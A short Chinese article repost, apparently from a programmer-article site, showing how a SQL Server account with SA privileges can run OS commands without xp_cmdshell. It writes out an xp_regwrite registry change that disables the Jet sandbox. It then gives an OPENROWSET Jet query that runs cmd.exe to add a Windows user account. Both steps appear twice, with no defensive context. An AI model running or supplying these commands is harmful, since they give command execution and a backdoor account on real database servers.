SA 沙盘模式下不用恢复xp_cmdshell和xplog70.dll也执行命令
程序员文章站
2022-07-07 19:59:24
首先开启沙盘模式: exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\en...
首先开启沙盘模式:
exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',1
然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user cnfjhh fst /add")')
exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',1
然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user cnfjhh fst /add")')
下一篇: 涂指甲油有害健康,,指甲少折腾为好